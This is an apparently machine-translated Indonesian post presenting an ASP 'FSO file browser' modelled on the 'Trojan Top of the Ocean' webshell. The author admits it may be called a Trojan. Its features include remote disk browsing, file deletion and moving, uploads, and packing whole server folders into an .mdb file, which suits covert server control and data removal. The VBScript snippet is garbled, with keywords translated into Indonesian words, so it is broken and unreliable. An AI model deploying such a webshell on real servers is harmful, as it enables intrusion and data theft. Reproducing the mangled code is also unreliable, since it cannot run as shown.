Ini adalah browser file FSO yang ditulis menggunakan objek koleksi FSO (jika Anda bersikeras mengatakan itu adalah Trojan, saya tidak keberatan). Secara fungsional, ini meniru desain "Trojan Top of the Ocean", tetapi kodenya sepenuhnya ditulis ulang . Menggunakan komponen seperti Shell.Aplikasi yang dapat dengan mudah menyebabkan pembunuhan tidak disengaja oleh perangkat lunak anti-virus. Ada banyak alat serupa di Internet. Nilai guna alat ini tidak terlalu bagus, tetapi banyak kode di dalamnya yang dianggap ditulis dengan baik.
Fitur utama meliputi:
Melihat informasi disk, menelusuri file disk, dan mengoperasikan dengan cara yang mirip dengan Windows Explorer, seperti membuat, menghapus, mengganti nama, menyalin, memindahkan, dan operasi file teks dasar lainnya. Pengunduhan file mode streaming menyederhanakan dan mengoptimalkan pengemasan/pembongkaran file unggahan bebas komponen. Folder dapat dikemas/dibongkar sepenuhnya.
Cuplikan kode:
1. Bagian pengemasan/pembongkaran file
============= Proses pengemasan dan pembongkaran file = = ============
Pengemasan berkas
SubPaket (ByValFPath,ByValsDbPath)
Server.ScriptTimeOut=900
RedupkanDbPath
JikaBenar(sDbPath,4)=".mdb"Kemudian
DbPath=sDbPath
Kalau tidak
DbPath=sDbPath".mdb"
AkhirJika
JikaoFso.FolderExists(DbPath)Lalu
EchoBack"Tidak dapat membuat file basis data!"&Ganti(DbPath,"","\")
KELUARSub
AkhirJika
JikaoFso.FileExists(DbPath)Lalu
oFso.DeleteFile DbPath
AkhirJika
JikaIsFolder(FPath)Lalu
RootPath=DapatkanParentFolder(FPath)
JikaBenar(RootPath,1)<>"" Maka RootPath=RootPath&""
Kalau tidak
EchoBack"Silakan masukkan jalur folder!"
KELUARSub
AkhirJika
RedupkanoCatalog,connStr,DataName
Setelsamb=Server.CreateObject("ADODB.Connection")
SeteloStream=Server.CreateObject("ADODB.Stream")
SeteloCatalog=Server.CreateObject("ADOX.Catalog")
Setelrs=Server.CreateObject("ADODB.RecordSet")
PadaKesalahanMelanjutkanBerikutnya
connStr ="Penyedia=Microsoft.Jet.OLEDB.4.0; Sumber Data="& DbPath
oKatalog.Buat koneksi
JikaSalahLalu
EchoBack"Tidak dapat membuat file basis data!"&Ganti(DbPath,"","\")